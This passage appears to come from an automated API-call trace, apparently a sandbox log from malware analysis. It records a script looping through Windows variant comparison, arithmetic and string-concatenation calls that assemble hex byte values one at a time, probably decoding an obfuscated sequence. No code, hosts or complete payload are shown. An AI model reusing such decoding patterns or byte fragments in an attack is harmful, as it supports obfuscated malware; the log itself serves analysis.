(pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.000] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.001] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.001] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.001] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.001] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.001] VarBstrCat (in: bstrLeft="&H3", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.001] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.001] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.001] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.001] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.001] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.001] VarBstrCat (in: bstrLeft="&H7", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.002] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.002] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.002] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.002] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.002] VarBstrCat (in: bstrLeft="&He", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.002] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.002] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.003] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.003] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.003] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.003] VarBstrCat (in: bstrLeft="&He", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.003] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.003] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.003] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.003] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.003] VarBstrCat (in: bstrLeft="&H7", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.003] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.004] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.004] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.004] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.004] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.004] VarBstrCat (in: bstrLeft="&H0", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.004] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.004] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.004] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.004] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.004] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.005] VarBstrCat (in: bstrLeft="&H5", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.005] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.005] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.005] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.005] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.005] VarBstrCat (in: bstrLeft="&Hc", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.005] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.005] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.006] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.006] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.006] VarBstrCat (in: bstrLeft="&H", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.006] VarBstrCat (in: bstrLeft="&He", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.006] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.006] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.006] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.006] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.006] VarBstrCat (in: bstrLeft="&Hf", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.006] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.007] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.007] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.007] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.007] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.007] VarBstrCat (in: bstrLeft="&Hb", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.007] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.007] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.007] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.008] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.008] VarBstrCat (in: bstrLeft="&H", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.008] VarBstrCat (in: bstrLeft="&Hb", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.008] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.008] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.008] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.008] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.008] VarBstrCat (in: bstrLeft="&Hc", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.008] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.009] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.009] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.009] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.009] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.009] VarBstrCat (in: bstrLeft="&Ha", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.009] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.009] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.009] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.009] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.010] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.010] VarBstrCat (in: bstrLeft="&Hf", bstrRight="b", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.010] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.010] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.010] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.010] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.010] VarBstrCat (in: bstrLeft="&H8", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.010] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0107.010] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0107.011] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.011] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0107.011] VarBstrCat (in: bstrLeft="&H", bstrRight="f", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.011] VarBstrCat (in: bstrLeft="&Hf", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0107.011] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 